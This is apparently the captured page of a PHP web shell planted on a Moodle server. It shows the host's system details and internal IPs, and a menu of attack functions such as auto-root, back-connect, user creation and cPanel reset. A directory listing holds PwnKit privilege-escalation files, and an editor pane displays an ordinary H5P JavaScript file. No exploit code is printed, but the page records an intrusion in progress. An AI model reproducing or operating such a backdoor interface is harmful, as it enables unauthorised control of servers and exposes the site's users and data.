Linux moodl-moodle-3s8bw1nuh5yqd9-5b875fdd66-8hs4m 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
Apache/2.4.41 (Ubuntu)
: 10.39.0.36 | : 10.36.0.0
Cant Read [ /etc/named.conf ]
7.4.3
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
moodledata /
filedir /
5c /
59 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-sr-x
GCONV_PATH=.
[ DIR ]
drwxr-sr-x
.mad-root
0
B
-rw-r--r--
5c594da783856e98bbc1259bb0978b...
5.3
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 5c594da783856e98bbc1259bb0978ba80080cda0
/** @namespace H5PEditor */ var H5PEditor = H5PEditor || {}; H5PEditor.SummaryTextualEditor = (function ($) { /** * Creates a text input widget for editing summaries. * * @class * @param {List} */ function SummaryTextualEditor(list) { var self = this; var recreation = false; var shouldWarn = false; /** * Instructions as to how this editor widget is used. * @public */ self.helpText = t('helpText'); // Create list html var $input = $('<textarea/>', { id: list.getId(), 'aria-describedby': list.getDescriptionId(), rows: 20, css: { resize: 'none' }, placeholder: t('example'), on: { change: function () { recreateList(); } } }); // Used to convert HTML to text and vice versa var $cleaner = $('<div/>'); /** * Clears all items from the list, processes the text and add the items * from the text. This makes it possible to switch to another widget * without losing datas. * * @private */ var recreateList = function () { // Get text input var textLines = $input.val().split("\n"); textLines.push(''); // Add separator // Reset list list.removeAllItems(); recreation = true; // TODO: recreation can be dropped when group structure can be created without being appended. // Then the fields can be added back to the textarea like a validation. // Go through text lines and add statements to list var tip, statements = []; for (var i = 0; i < textLines.length; i++) { var textLine = textLines[i].trim(); if (textLine === '') { // Task seperator if (statements.length || tip !== undefined) { // Add statements to list list.addItem({ summary: statements, tip: tip }); // Start new list of statements statements = []; tip = undefined; } continue; } // Convert text to html textLine = $cleaner.text(textLine).html(); if (!statements.length && textLine.substr(0, 1) === ':') { // If first line begins with ":", it's a tip tip = textLine.substr(1, textLine.length); } else { // Add statement statements.push(textLine); } } recreation = false; }; /** * Find the name of the given field. * * @private * @param {Object} field * @return {String} */ var getName = function (field) { return (field.getName !== undefined ? field.getName() : field.field.name); }; /** * Add items to the text input. * * @public * @param {Object} item instance */ self.addItem = function (item) { if (recreation) { return; } if (!(item instanceof H5PEditor.Group)) { return; } var text = ''; item.forEachChild(function (child) { switch (getName(child)) { case 'summary': // Cycle through statements list child.forEachChild(function (grandChild) { // Grab HTML from text fields var html = grandChild.validate(); if (html !== false) { // Strip all html tags and remove line breaks. html = html.replace(/(<[^>]*>|\r\n|\n|\r)/gm, '').trim(); if (html !== '') { text += html + '\n'; } } }); break; case 'tip': // Cycle through field in the tip group child.forEachChild(function (grandChild) { // Found text field containing tip var tip = grandChild.validate(); if (tip !== false) { tip = tip.trim(); if (tip !== '') { // Add tip to the beginning text = ':' + tip + '\n' + text; } } }); break; } }); if (text !== '') { // Convert all escaped html to text $cleaner.html(text); text = $cleaner.text(); // Append text var current = $input.val(); if (current !== '') { current += '\n'; } $input.val(current + text); if (!warned && !shouldWarn) { shouldWarn = true; } } }; /** * Puts this widget at the end of the given container. * * @public * @param {jQuery} $container */ self.appendTo = function ($container) { $input.appendTo($container); if (shouldWarn && !warned) { alert(t('warning')); warned = true; } }; /** * Remove this widget from the editor DOM. * * @public */ self.remove = function () { $input.remove(); }; } /** * Helps localize strings. * * @private * @param {String} identifier * @param {Object} [placeholders] * @returns {String} */ var t = function (identifier, placeholders) { return H5PEditor.t('H5PEditor.SummaryTextualEditor', identifier, placeholders); }; /** * Warn user the first time he uses the editor. */ var warned = false; return SummaryTextualEditor; })(H5P.jQuery);
Close